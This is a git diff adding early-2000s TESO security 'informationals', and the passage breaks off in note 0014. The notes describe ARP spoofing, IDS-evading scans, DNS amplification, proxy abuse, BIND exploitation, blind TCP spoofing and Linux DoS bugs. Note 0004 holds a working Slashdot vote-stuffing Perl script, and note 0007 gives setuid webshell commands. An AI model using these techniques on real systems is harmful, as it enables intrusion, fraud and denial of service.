summaryrefslogtreecommitdiff
path: root/informationals
diff options
context:
space:
mode:
Diffstat (limited to 'informationals')
-rw-r--r--informationals/teso-i0001.txt42
-rw-r--r--informationals/teso-i0002.txt33
-rw-r--r--informationals/teso-i0003.txt31
-rw-r--r--informationals/teso-i0004.txt74
-rw-r--r--informationals/teso-i0005.txt35
-rw-r--r--informationals/teso-i0006.txt84
-rw-r--r--informationals/teso-i0007.txt48
-rw-r--r--informationals/teso-i0008.txt57
-rw-r--r--informationals/teso-i0009.txt65
-rw-r--r--informationals/teso-i0010.txt46
-rw-r--r--informationals/teso-i0011.txt42
-rw-r--r--informationals/teso-i0012.txt57
-rw-r--r--informationals/teso-i0013.txt88
-rw-r--r--informationals/teso-i0014.txt114
-rw-r--r--informationals/teso-i0015.txt45
-rw-r--r--informationals/teso-i0016.txt47
-rw-r--r--informationals/teso-i0017.txt195
-rw-r--r--informationals/teso-i0018.txt74
-rw-r--r--informationals/teso-i0019.txt34
-rw-r--r--informationals/teso-i0020.txt669
-rw-r--r--informationals/teso-i0021.txt70
-rw-r--r--informationals/teso-i0022.txt266
-rw-r--r--informationals/teso-i0023.txt156
-rw-r--r--informationals/teso-i0024.txt136
-rw-r--r--informationals/teso-i0025.txt291
-rw-r--r--informationals/teso-i0026.txt54
-rw-r--r--informationals/teso-i0027.txt279
-rw-r--r--informationals/teso-i0028.txt90
-rw-r--r--informationals/teso-i0029.txt86
-rw-r--r--informationals/teso-i0030.txt53
-rw-r--r--informationals/teso-i0031.txt68
-rw-r--r--informationals/teso-i0032.txt350
-rw-r--r--informationals/teso-i0033.txt102
-rw-r--r--informationals/teso-i0034.txt491
-rw-r--r--informationals/teso-i0035.txt107
-rw-r--r--informationals/teso-i0036.txt142
-rw-r--r--informationals/teso-i0037.txt382
-rw-r--r--informationals/teso-i0037/mallint.h154
-rw-r--r--informationals/teso-i0037/malloc.c838
-rw-r--r--informationals/teso-i0037/mxp.c195
-rw-r--r--informationals/teso-informationals.txt48
41 files changed, 6238 insertions, 0 deletions
diff --git a/informationals/teso-i0001.txt b/informationals/teso-i0001.txt
new file mode 100644
index 0000000..92e8c69
--- /dev/null
+++ b/informationals/teso-i0001.txt
@@ -0,0 +1,42 @@
10001 2000/01/20 Difference in Linux 2.x ARP Request handling
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Difference in Linux 2.x ARP Request handling
8Date .................: 2000/01/20 18:00
9Author ...............: scut
10Publicity level ......: unknown
11Affected .............: ARP protocol handling in Linux 2.x kernels
12Type of entity .......: Protocol
13Type of discovery ....: implementation difference
14Severity/Importance ..: interesting
15Found by .............: rookie and scut
16
17Information ===================================================================
18
19An ARP resolution request is usually done in two steps, where one ARP Request
20message is send and the host that has an interface configured for the
21requested IP address answers with an ARP Answer message. Every ARP message
22of one protocol conversion type has the same length to ease processing of the
23messages.
24
25In an ARP Answer the sender IP and sender MAC address is included along with
26the target IP address and the target MAC address. While it makes sense in an
27ARP Answer the same values are included in an ARP Request too, for the sense
28of simplicity. While most implementations ignore the sender IP/MAC address
29pair in an ARP Request the Linux kernel adds this pair to it's internal ARP
30table, having the same effect as if it is an ARP Answer packet.
31
32This allows us to ARP spoof using ARP Requests instead of ARP Answers if the
33target system runs Linux. This may be done for stealth purposes or to subvert
34ARP packet watching programs such as arpwatch.
35
36Note that this is the correct behavior as defined in RFC 826, where every
37implementation should update it's cache before even looking at the ARP opcode.
38Every other common implementation however (including all BSDs and Windows
39systems) do not do this.
40
41===============================================================================
42
diff --git a/informationals/teso-i0002.txt b/informationals/teso-i0002.txt
new file mode 100644
index 0000000..b71c14b
--- /dev/null
+++ b/informationals/teso-i0002.txt
@@ -0,0 +1,33 @@
10002 2000/01/21 TCP stealth scan "Scan 64"
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: New TCP stealth-scans, aka "Scan 64"
8Date .................: 2000/01/21 15:37
9Author ...............: S. Krahmer
10Publicity level ......: public after 25.1.2000
11Affected .............: lots of network-based IDS's
12Type of entity .......: Protocol-based
13Type of discovery ....: implementation mistake
14Severity/Importance ..: interesting
15Exploit available ....: Y
16URL ..................: http://www.cs.uni-potsdam.de/homepages/students/linuxer
17Found by .............: S. Krahmer
18
19Information ===================================================================
20
21The general behavior of many IDS is 'black-list' based. You need to specify
22for example the list of bad flags in a TCP-packet to detect so called
23'stealth-scans'.
24
25It is very difficult to get all the types black-listed. Instead one should list
26all 'allowed' flags (i.e. SYN|ACK, RST, PUSH|ACK etc).
27
28After notifying the maintainers of IDS's about the possibility of silent push-
29scans and a fixed scan-detection engine, it was again possible to do un-noticed
30scans by setting flags in TCP-headers that don't appear in usual traffic.
31
32===============================================================================
33
diff --git a/informationals/teso-i0003.txt b/informationals/teso-i0003.txt
new file mode 100644
index 0000000..5d530ab
--- /dev/null
+++ b/informationals/teso-i0003.txt
@@ -0,0 +1,31 @@
10003 2000/01/22 Remotely exploitable buffer overflow condition in webfind.exe
2 part of the WebsitePro Package (cgi-bin)
3
4==== TESO Informational =======================================================
5This piece of information is to be kept confidential.
6===============================================================================
7
8Description ..........: Remote buffer overflow
9Date .................: 2000/01/22 19:06
10Author ...............: Bawd
11Publicity level ......: unknown
12Affected .............: All WebsitePro HTTP servers running the webfind cgi
13Type of entity .......: Daemon/Server
14Type of discovery ....: bug
15Severity/Importance ..: interesting
16Found by .............: Bawd
17
18Information ===================================================================
19
20This buffer overflow allows a remote attacker to gain privileged access to
21machines running the WebSite servers.
22
23Filling the "Search For" case with more than 2000 characters will cause the cgi
24to make an exception fault and overwrite the return address, which will
25overwrite EIP.
26
27"webfind.exe" is installed by default in the cgi-bin directory. Exploit is
28coming later.
29
30===============================================================================
31
diff --git a/informationals/teso-i0004.txt b/informationals/teso-i0004.txt
new file mode 100644
index 0000000..b20a187
--- /dev/null
+++ b/informationals/teso-i0004.txt
@@ -0,0 +1,74 @@
10004 2000/01/22 Conceptual bug in webvoting systems with proxy protection
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Conceptual bug in webvoting systems with protection
8 against proxy servers
9Date .................: 2000/01/22 20:53
10Author ...............: typo
11Publicity level ......: possibly known
12Affected .............: slashdot webvoting systems, probably others
13Type of entity .......: CGI
14Type of discovery ....: interesting information
15Severity/Importance ..: low
16Found by .............: typo
17
18Information ===================================================================
19
20X-Forwarded-For is the HTTP header field added by proxies in which they store
21the client's real IP. Normally it looks like this:
22
23X-Forwarded-For: 1.2.3.4
24
25meaning that 1.2.3.4 asked the proxy to fetch the page.
26
27Now, most webvoting systems implement proxy protection by accounting votes to
28the IP mentioned in the HTTP X-Forwarded-For: header, if it is set. No one
29seems to have thought that by sending your own X-Forwarded-For field in a
30non-proxy request, you can get the vote CGI to account your vote to some
31other IP. Tested on Slashdot.
32
33Sample slashdot vote h4x0r Perl script:
34
35#!/usr/bin/perl
36
37use IO::Socket;
38
39$vote = "votename"; # see url
40$aid = 8; # see url
41$times = 50; # num of votes
42
43for ($i = 1; $i <= $times; $i++) {
44 $cowshit = IO::Socket::INET->new(PeerAddr => "slashdot.org",
45 PeerPort => 80,
46 Timeout => 30,
47 Proto => 'tcp');
48
49die "no connect" if (!defined $cowshit);
50
51$cowshit->autoflush(1);
52
53$rand1 = int(rand(254)+1);
54$rand2 = int(rand(254)+1);
55$rand3 = int(rand(254)+1);
56$rand4 = int(rand(254)+1);
57
58$tmp = <<EOF;
59GET /pollBooth.pl?qid=${vote}\&aid=${aid} HTTP/1.0
60User-Agent: Mozilla/4.7 [en] (TeOS; X11)
61Host: slashdot.org:80
62X-Forwarded-For: ${rand1}.${rand2}.${rand3}.${rand4}
63
64EOF
65
66print $tmp;
67print $cowshit $tmp;
68
69 print "voted $i\n";
70 $cowshit->close;
71}
72
73===============================================================================
74
diff --git a/informationals/teso-i0005.txt b/informationals/teso-i0005.txt
new file mode 100644
index 0000000..eda8329
--- /dev/null
+++ b/informationals/teso-i0005.txt
@@ -0,0 +1,35 @@
10005 2000/01/22 Ascend ISDN Router DoS vulnerability (old UDP echo problem)
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Ascend ISDN Router DoS vulnerability
8Date .................: 2000/01/22 21:00
9Author ...............: scut
10Publicity level ......: known
11Affected .............: unfirewalled Ascend ISDN Routers, for example Ascend
12 Pipeline 50 routers
13Type of entity .......: Router
14Type of discovery ....: denial of service attack
15Severity/Importance ..: interesting
16Found by .............: hendy and scut
17
18Information ===================================================================
19
20A standard Ascend ISDN router has the UDP echo port open. By spoofing the
21source IP address as the destination IP address of the router and sending a UDP
22packet to the router the router will keep the packet within it's internal
23packet table forever. However this is a very old denial of service attack, but
24it has some nice effects here.
25
26For example by sending packets of 500 bytes length you can constantly increase
27the generic router delay time from 0 ms to up to 800 ms. After that the router
28packet table is completely overflowed and the router is inoperational. In this
29state the only thing that will help is a hard reset of the router.
30
31This is just the old echo/echo UDP link problem, but still living very happily
32in any Ascend ISDN router.
33
34===============================================================================
35
diff --git a/informationals/teso-i0006.txt b/informationals/teso-i0006.txt
new file mode 100644
index 0000000..0825ad8
--- /dev/null
+++ b/informationals/teso-i0006.txt
@@ -0,0 +1,84 @@
10006 2000/01/23 Nameserver traffic amplify (x 10-30) and NS route discovery
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: NS traffic amplify (x 10-30) and NS route discovery
8Date .................: 2000/01/23 11:15
9Author ...............: scut
10Publicity level ......: unknown
11Affected .............: Nameservers
12Type of entity .......: Protocol
13Type of discovery ....: interesting information, denial of service attack
14Severity/Importance ..: medium
15Found by .............: scut
16
17Information ===================================================================
18
19When a nameserver receives a query, most nameservers usually just start
20forwarding the query to some other nameserver. There can be quite a long path
21of forwarding queries. However if the query is not resolvable because there
22is no nameserver listening on the remote host every forwarding nameserver will
23start to resolve it on their own, by querying the authoritative nameserver
24themselves. In the default configuration each nameserver will send the query
25three times, after 0, 12 and 24 seconds, ymmv.
26
27This can be used to discover the path of nameservers. To do this an attacker
28would query the first nameserver for a domain he can see the packets on, at
29best the domain points to the query host itself. Then he would record all
30nameservers that send out a packet to himself. After having done this he would
31try with another nameserver of the ones he got queries from. In the best case
32he will receive a queries from all hosts but one missing. The missing one is
33the first host in the route. After having reduced the list by one he will
34start over with the reduced list until there is only one nameserver remaining,
35which is the last in the querying chain.
36
37Through seeking especially long paths, where a lot of nameservers are queried,
38this can be abused then as a traffic amplify bandwidth attack, as shown below.
39Since the important entries such as the NS entry is in the cache of each
40nameserver after the first query, the attack is very fast pacing after the
41first query, since no additional packets to the attacker are send and the
42attacker can spoof the UDP query packets. If the attacker is clever he would
43use a very short lifetime for his NS entry, while using a long lifetime for
44the victim subdomain. After the first query succeeded he will just shut his
45nameserver down and send out spoofed query packets at a very fast rate.
46
47In this case a query was issued to ns1 asking about a host within a domain that
48host "victim" has an NS entry for. But there is no nameserver running on victim,
49therefore all queries remain unanswered, and after a short time all nameservers
50that indirectly received the query are starting to query on their own. The host
51"victim" is in this case the victim host which gets the whole traffic load. To
52use this to attack someone you just have to create an NS entry for the victim
53host, for example you own the NS for the domain "foobar.org", then you have to
54create a NS entry "bla.foobar.org" that points to the victim host. After that,
55you query as much nameservers as possible for "<random>.bla.foobar.org".
56
5708:07:24.943598 ns2.domain > victim.domain: 15121 (35)
5808:07:32.747253 ns3.domain > victim.domain: 8536 (35)
5908:07:32.832604 ns2.domain > victim.domain: 15121 (35)
6008:07:39.819289 ns3.domain > victim.domain: 8536 (35)
6108:07:40.670228 ns1.1025 > victim.domain: 56483 (35)
6208:07:44.405556 ns4.domain > victim.domain: 5306 (35) (DF)
6308:07:48.928981 ns2.domain > victim.domain: 15121 (35)
6408:07:52.669825 ns1.1025 > victim.domain: 56483 (35)
6508:07:56.107063 ns3.domain > victim.domain: 8536 (35)
6608:07:56.471586 ns4.domain > victim.domain: 5306 (35) (DF)
6708:08:04.938187 ns6.domain > victim.domain: 26706 (35)
6808:08:12.372097 ns5.2187 > victim.domain: 2352 (35)
6908:08:13.826464 ns6.domain > victim.domain: 26706 (35)
7008:08:16.669021 ns1.1025 > victim.domain: 56483 (35)
7108:08:20.603050 ns4.domain > victim.domain: 5306 (35) (DF)
7208:08:24.365990 ns5.2187 > victim.domain: 2352 (35)
7308:08:30.873233 ns6.domain > victim.domain: 26706 (35)
74 08:08:32.658479 ns1.domain > victim.1025: 298 ServFail 0/0/0 (35)
7508:08:48.369725 ns5.2187 > victim.domain: 2352 (35)
76
77As you can see there are five nameservers who indirectly got the query. "ns1"
78is the nameserver that got the original query which was 35 bytes in length. Now
79all nameservers started to send out queries, three per nameserver. Since six
80nameservers have done this, the amplify ratio is about 18 (35 * 6 * 3 = 630)
81in this case.
82
83===============================================================================
84
diff --git a/informationals/teso-i0007.txt b/informationals/teso-i0007.txt
new file mode 100644
index 0000000..8304c03
--- /dev/null
+++ b/informationals/teso-i0007.txt
@@ -0,0 +1,48 @@
10007 2000/01/23 Conceptual bug in PHP and also in CGI modules
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Bug in scripting modules for web servers
8Date .................: 2000/01/23 18:19
9Author ...............: hendy
10Publicity level ......: well known
11Affected .............: Unix http servers (maybe others)
12Type of entity .......: CGI+PHP
13Severity/Importance ..: low but interesting
14Found by .............: hendy
15
16Information ===================================================================
17
18If your httpd supports PHP and/or CGI scripts, and you allow users to use
19these, those scripts are run as the user/group the webserver runs as. Though
20this is mostly not user root, it can have impact if you have an own group.
21For example you allow group 'foo' to modify webserver configuration or the
22webserver needs access on some files (for example chat scripts, or messaging
23services via PHP/CGI). Every user with access on this machine can easily get
24access to this with little knowledge of scripting:
25
26(in PHP)
27
28<?
29 system("gcc ~user/shell.c -o /tmp/webshell");
30 system("chmod 4755 /tmp/webshell");
31?>
32
33Of course you have to let the webserver read ~/shell.c and shell.c does
34something like setuid(webserver); setgid(webgid); system("/bin/sh");
35
36If CGI scripts are supported its even more easy.
37
38#!/bin/sh
39gcc -o ~user/shell.c -o /tmp/webshell
40chmod 4755 /tmp/webshell
41
42Of course, this is only one possible idea of getting webservers privileges, but
43since this exploitation is possible on every standard Linux distribution, it
44should get somehow known, that giving the webuser more rights than it really
45needs, can be dangerous.
46
47==================================================================================
48
diff --git a/informationals/teso-i0008.txt b/informationals/teso-i0008.txt
new file mode 100644
index 0000000..aa5bc9c
--- /dev/null
+++ b/informationals/teso-i0008.txt
@@ -0,0 +1,57 @@
10008 2000/01/24 Check for IP spoofing abilities for a local IP address
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Check for IP spoofing abilities for a local IP address
8Date .................: 2000/01/24 18:15
9Author ...............: scut
10Publicity level ......: public, but not widely known
11Affected .............: IP
12Type of entity .......: Protocol
13Type of discovery ....: interesting information
14Severity/Importance ..: low
15Found by .............: scut
16
17Information ===================================================================
18
19The ability to IP spoof has drastically decreased over the last years, mainly
20to hinder either denial of service attacks to be executed or to stop
21sophisticated attacks which involve IP spoofing. While in general IP spoofing
22is a bad thing, sometimes you need to be capable to send spoofed datagrams.
23While there are still numerous hosts on the Internet that can set arbitrary IP
24source addresses, you often need to tell whether you can spoof from a host you
25have superuser access on.
26
27The only way to tell whether you can spoof from a host is to try sending of a
28frame which has a source IP address that is not used within that network and is
29not one of the reserved private addresses. The other part of the problem
30is how we can check whether the spoofed packet got through all the routers to
31it's destination.
32
33In general we can only tell this if the packet we send has a noticeable effect.
34This can be for example if we spoof a packet which triggers an attack signature
35in some IDS system, where the log is displayed publically on the web (www.
36antionline.com does this), or we can just send the packet to some other IP
37where we can receive the packet and display it. This is the first method:
38
391) Send a spoofed packet to another IP not on the local network and see if the
40 packet arrives. Optionally put the real source IP into the packet and send
41 an answer packet back to this IP, so the source host knows whether it can
42 spoof or not.
43
44Another method is similar to the first, but only needs the local host and a
45domain NS entry for the local IP or a sniffable IP. It works like this:
46
472) Send a spoofed DNS query for a host inside your local domain, which you
48 have an NS entry for on your local host or on a host in the local network,
49 that is sniffable. Send the query to a public usable nameserver outside
50 your local network, then see if some nameservers issues a query for the
51 host you originally asked for, if it does, you can spoof.
52
53Method 2) is used by the DNS spoofing program "zodiac" to determine if it can
54spoof from the current network it is running on.
55
56===============================================================================
57
diff --git a/informationals/teso-i0009.txt b/informationals/teso-i0009.txt
new file mode 100644
index 0000000..ec4378d
--- /dev/null
+++ b/informationals/teso-i0009.txt
@@ -0,0 +1,65 @@
10009 2000/01/26 HTTP proxy forwarding
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: HTTP proxy forwarding
8Date .................: 2000/01/26 12:15
9Author ...............: scut
10Publicity level ......: public and widely known for a long time
11Affected .............: HTTP proxy servers
12Type of entity .......: misconfiguration
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: ?
16
17Information ===================================================================
18
19HTTP proxy servers such as Squid offer multiple methods of request forwarding.
20The basic HTTP protocol defines three main types, that are called GET, POST and
21CONNECT. The GET type is the one your browser uses if you just want to retrieve
22a file from a remote HTTP server. The POST type is used for longer form data,
23while the CONNECT type is usually used to access HTTPS servers through HTTP
24proxy servers. While there are still lots of open HTTP proxy servers out there
25(several thousands I've found so far) that do allow the GET request to be used,
26only a few hundreds allow the POST and CONNECT requests.
27
28The CONNECT request allows TCP connection forwarding nearly all of the times,
29just try:
30
31-------
32xolon:~$ telnet <some-old-squid-server> 3128
33Trying xxx...
34Connected to xxx.
35Escape character is '^]'.
36CONNECT ip-removed:21 HTTP/1.0
37
38HTTP/1.0 200 Connection established
39
40220 xxx FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999) ready.
41-------
42
43Where "CONNECT <ip>:<port> HTTP/1.0" is followed by two carriage return
44characters. If the CONNECT method works, it is usually very reliable, but the
45connection is limited to two hours usually, then it gets removed by the proxy
46server. The POST method is a bit more complicated, since it sometimes not
47offer a real TCP connection forward, but just a buffered single-direction
48forwarder. But for other servers it sometimes behaves like a normal CONNECT
49request, offering you a complete unbuffered TCP connection relay. The request
50looks like:
51
52POST http://<ip>:<port>/ HTTP/1.0<cr><cr>
53
54The "numby" HTTP proxy scanner can check for all three methods and can tell
55whether a connection forward is reliable and one- or two-directional.
56
57From scanning nearly 4000 proxy servers here are some statistics:
58
593815 HTTP proxies scanned
60727 open GET servers
61114 open CONNECT servers
6221 open POST servers
63
64===============================================================================
65
diff --git a/informationals/teso-i0010.txt b/informationals/teso-i0010.txt
new file mode 100644
index 0000000..a0703e9
--- /dev/null
+++ b/informationals/teso-i0010.txt
@@ -0,0 +1,46 @@
10010 2000/01/30 Trick for exploiting BIND nameservers
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Trick for exploiting BIND nameservers
8Date .................: 2000/01/30 12:00
9Author ...............: scut
10Publicity level ......: unknown
11Affected .............: networks with multiple BIND nameservers
12Type of entity .......: misconfiguration
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: scut, inspired by smilers ideas and his NXT exploit
16
17Information ===================================================================
18
19When exploiting BIND bugs it is often necessary to make the remote nameserver
20issue a query to your nameserver, which is in some cases a pseudo server which
21sends an exploiting packet back on query.
22
23However in some cases DNS queries aren't allowed to the remote server, although
24you know the server is vulnerable you cannot exploit this weakness, because
25you cannot make it to query your exploiting server.
26
27The DNS server may accept queries only from a predefined IP range, for example
28the IP range of that subnetwork. Often other DNS servers can be found in the
29subnetwork. At the same time it is often the case that these servers are
30configured to just relay the queries to another DNS server. By using a "deaf"
31pseudo-nameserver, which just responds to the IP of the nameserver you want
32to exploit (smilers NXT exploit does support this) you can now exploit that
33server by querying the other nameserver, which accepts your queries, which
34then happily relays the question to the main nameserver.
35
36This nameserver may not carry out the query directly if you'd answer the query
37if it is issued by another nameserver (see TESO Informational #0006), but if
38you don't answer it this nameserver will after a few seconds issue that query
39itself, allowing you to exploit it.
40
41Also using nameserver path discovery (also in #0006) you may be able to spoof
42send the reply in between two nameservers, which is not possible in the NXT case
43but maybe required for future exploits.
44
45===============================================================================
46
diff --git a/informationals/teso-i0011.txt b/informationals/teso-i0011.txt
new file mode 100644
index 0000000..36879fc
--- /dev/null
+++ b/informationals/teso-i0011.txt
@@ -0,0 +1,42 @@
10011 2000/02/01 Linux keyboard handler tricks
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Linux kernel keyboard handling
8Date .................: 2000/02/01 17:00
9Author ...............: Palmers
10Publicity level ......: known
11Affected .............: Linux kernel
12Type of entity .......: kernel module
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: Palmers
16
17Information ===================================================================
18
19It is (in theory) easy to (1) free keyboards IRQ, then (2) install a keylogger,
20and (3) reinstall the original interrupt handler. It has to be freed first to
21reinstall the first handler to the, then shared, interrupt.
22
23The stuff that deal with this can be found in:
24
25<src-dir>/arch/i386/kernel/irq.c (free_irq, request_irq)
26<src-dir>/drivers/char/pc_keyb.c (kbd stuff)
27
28as well as in:
29<src-dir>/include/asm-i386/keyboard.h
30<src-dir>/arch/i386/kernel/irq.h
31<src-dir>/include/linux/interrupt.h
32
33Ok, an interrupt handler has three arguments:
34interrupt_handler (int irq, void *dev_id, struct pt_regs *regs)
35
36Which are - you guess it - interrupt, id and a pt_regs struct (which leads
37to the need for asm). The logger simply needs to pop the byte, read from the
38keyboard, and write it in a file, the original interrupt handler could be
39restored using pc_keyb.c (with some modifications).
40
41===============================================================================
42
diff --git a/informationals/teso-i0012.txt b/informationals/teso-i0012.txt
new file mode 100644
index 0000000..f7395d3
--- /dev/null
+++ b/informationals/teso-i0012.txt
@@ -0,0 +1,57 @@
10012 2000/02/08 Method to stretch DNS packet length
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Method to stretch DNS packet length
8Date .................: 2000/02/08 16:00
9Author ...............: scut
10Publicity level ......: possibly known
11Affected .............: DNS protocol
12Type of entity .......: protocol
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: scut
16
17Information ===================================================================
18
19When conducting attacks against the DNS protocol, which is some peoples
20favorite hobby, it is sometimes necessary to send out large DNS packets,
21answers or queries.
22
23There are some ways to enlarge a DNS packet, most of them modify the meaning
24of the packet. When the meaning should not be modified, there is only one
25method how to insert bogus bytes that are still within the DNS protocol
26specification.
27
28DNS domain names are constructed by appending labels, which are ASCII strings
29which are prepended with a size-qualifier, consisting of one byte. This size-
30byte has another function: Some values tell the DNS packet decoder that the
31following labels should be acquired from somewhere else in the packet. This is
32called "compressed" DNS domain names. There exist numerous attacks to exploit
33poorly coded DNS packet decoders, such as pointing to the same label all the
34time, resulting in a loop. All the common DNS decoders (the one in BIND and
35the descendant in glibc), are immune to such attacks.
36
37However we can use the compressed label format to construct legal label
38sequences, which just enlarge the packet, but don't modify the meaning of the
39packet. This can be done like this:
40
41<pointer-two-bytes-ahead><pointer-two-bytes-ahead>\x04real\x03dom\x04name\x00
42
43This enlarges the domain by 4 bytes, without modifying the final decoding
44result of "real.dom.name". We can use this prepending-compression as often as
45we want, however nameservers such as BIND decompress the packet before doing
46anything, such as caching, so we can just use this if we send the packet.
47
48Such a compressed domain name will reassemble to a correct domain name for all
49BIND versions below 9.x.x, and for resolver libraries such as the one that
50comes with glibc. For BIND 9.x.x and up this behavior can be partly limited
51by setting a global maximum compression pointer limitation. I haven't looked
52very thoroughly through the decompression routine, since it is kinda huge
53(about 250 lines), but I think the default limit is big enough to make use
54of this too, even in BIND 9.x.x nameservers and up.
55
56===============================================================================
57
diff --git a/informationals/teso-i0013.txt b/informationals/teso-i0013.txt
new file mode 100644
index 0000000..b7a1710
--- /dev/null
+++ b/informationals/teso-i0013.txt
@@ -0,0 +1,88 @@
10013 2000/02/17 Linux blind TCP spoofing methods overview
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Linux blind TCP spoofing methods overview
8Date .................: 2000/02/17 21:00
9Author ...............: scut
10Publicity level ......: known
11Affected .............: Linux 2.0.x/2.2.x TCP stack
12Type of entity .......: implementation
13Type of discovery ....: useful information
14Severity/Importance ..: medium
15Found by .............: various people (NAI, nergal, stealth)
16
17Information ===================================================================
18
19There are several blind TCP spoofing methods known for the used Linux 2.0.x and
202.2.x kernel series. By blind TCP spoofing you can arbitrarily set the source
21IP of a remote TCP connection and hence exploit IP based authorization
22schemes and/or bypass access control lists.
23
24I'll summarize the methods known to me.
25
26
27<= 2.0.35 FIN pushes data to application although state is SYN_RECEIVED
28
29Discovered by Network Associates on 1999/03/09, this vulnerability allows you
30to remotely flush the already received TCP data to the application. Normally
31the system buffers all the received data and only passes them to the
32application if the connection has been established. However, in Linux kernels
33below and equal too 2.0.35, the kernel will send all buffered data to the
34application if you terminate the not yet established TCP connection by sending
35a FIN packet when it is currently in the SYN_RECEIVED state, without checking
36whether the connection has already completed the three-way-handshake. There are
37two public exploits available, receive.c and lin35.c (by myself), but
38exploitation is trivial. This vulnerability can especially well abused for non
39interactive protocols such as FTP or SMTP.
40
41
42<= 2.0.37 Too high ACK results in a RST packet being send, detectable through
43 linear IP ID on victim host
44
45While developing libnids, a network intrusion detection library, which offers
46a easy interface to TCP streams in the network, nergal ported the Linux 2.0.37
47TCP/IP stack into userland. While doing this he audited the code and found this
48vulnerability. He posted his results to the Bugtraq Mailing List on 1999/07/31.
49To be exact, there are two small bugs that add up to a relevant vulnerability:
50One lies in the Linux 2.0.37 kernel implementation of the ACK number
51verification routine. Linux 2.0.37 kernels and older kernels will send out RST
52datagrams if the acknowledgement number received is higher then the one
53assigned to the connection, but will behave quiet if the number is less or
54equal to the correct number. Once the connection is in the ESTABLISHED state
55this behavior changes to that no packet is generated on a too high
56acknowledgement number. This way one can easily find the correct ISN number
57through a binary search in the search space when the attacker is able to tell
58whether a packet was send or not. Linux kernels use sequential IP ID fields,
59which can be abused to indicate whether a host sends packets (ID increases) or
60not (ID is constant). Through constantly pinging the victim and monitoring the
61IP ID increasing either by one (just our ping reply) or by two (our ping reply
62plus the RST packet) one can easily do the search and find the correct ISN.
63A public exploit is available from nergal himself and was attached to his
64original Bugtraq posting. Note that the host must be really idle to do this
65search, which can take up to three dozens seconds.
66
67
68<= 2.2.12 TCP Sequence numbers are predictable on similar TCP states
69
70In September 1999 stealth discovered that Linux 2.2.x kernels behaved different
71in their ISN selection if the TCP connection perimeters (port, seq, IP) were
72alike: If two connections are similar in their parameters, having the same
73ports and equal ISN's the remote Linux system will assign a similar Initial
74Sequence Number to the connection. As it was later discussed on the Linux
75kernel mailing list this resulted from two bugs within the Linux kernel and an
76invalid use of the hash function (MD4).
77While all kernels below and equal to 2.2.12 kernels do have this vulnerability
78it doesn't even seem to matter whether the TCP SYN cookie functionality is
79enabled or not. To exploit this you create two TCP connections, one from the
80spoofed IP and one from a sniffable IP. The trick is to assign the same source
81and destination ports as well as the same Initial Sequence Number to the SYN
82packets. The ISN assigned by the victim computer to the two new connections
83will differ only by a few thousands, so range prediction is easily possible.
84An exploit is available in the TESO Advisory about this topic, called
85blindSpoof.cc, written by stealth.
86
87===============================================================================
88
diff --git a/informationals/teso-i0014.txt b/informationals/teso-i0014.txt
new file mode 100644
index 0000000..aae1243
--- /dev/null
+++ b/informationals/teso-i0014.txt
@@ -0,0 +1,114 @@
10014 2000/02/18 Linux remote DoS overview
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Linux remote DoS overview
8Date .................: 2000/02/18 21:00
9Author ...............: scut
10Publicity level ......: known
11Affected .............: Linux 1.2.x/2.0.x/2.2.x TCP/IP stack
12Type of entity .......: implementation
13Type of discovery ....: useful information
14Severity/Importance ..: medium
15Found by .............: various people (klepto, humble, horizon)
16
17Information ===================================================================
18
19There are numerous denial of service vulnerabilities in almost every operating
20system in use today. However due to it's broad use Linux has been a focal point
21of interest to search for such vulnerabilities. The results are a number of
22remote denial of service attacks found in the kernel in the past three years.
23While there are a lot of variations to this attacks that work around some
24patches in other operating systems here is a list of all remotely exploitable
25denial of service attacks in the Linux operating systems.
26
27Please feel free to correct me or make additions.
28
29
30<= 2.0.26 Ping of Death
31
32Linux kernels below or equal version 2.0.26 fail to handle oversized IP
33packets, which are send in multiple fragments. This attack has been well known
34and can be exploited as simple as running the "ping" command with certain
35flags. Also several other programs to exploit this vulnerability have been
36written such as ssping.c by vallah. The vulnerability takes place if IP packets
37with a size beyond 2^16 bytes are send to the remote host. The results vary
38from a complete kernel crash to disabled IP functionality.
39
40
41<= 2.0.31 IP fragment overlap bug
42
43This severe bug and first of it's class, followed by many variations was
44discovered by klepto sometime before 1997/11/03 and is based on a bug in the
45Linux kernel IP refragmentation routine. In this routine the kernel reassembles
46all received IP fragments back to one linear data block. While it does some
47basic sanity checks it fails to check for a situation which is unlikely to ever
48happen in normal network conditions. This situation results in way too much
49data (negative integer overflow then casted to unsigned int) copied by the
50kernel, resulting in a system crash or reboot. A public exploit called
51teardrop.c written by route is available.
52
53
54<= 2.0.35 off by one IP header (nestea.c)
55
56While the teardrop vulnerability was unique and quickly being recognized as a
57real threat a fix was developed quickly. There were however a lot of parameters
58to modify in the teardrop sources and people started to play with various
59values resulting in a new teardrop variation called nestea. This exploits a
60similar bug in the IP refragmentation code of the Linux kernel. The public
61exploit is called nestea.c and is written by humble 1998/04/16.
62
63
642.0.36 (possibly others) unknown (?)
65
66There exist a remote denial of service attack which effectively disables any
67IP communication and works with lots of packets send to the victim host. No
68further information is known, but it has been successfully used on the CCCamp
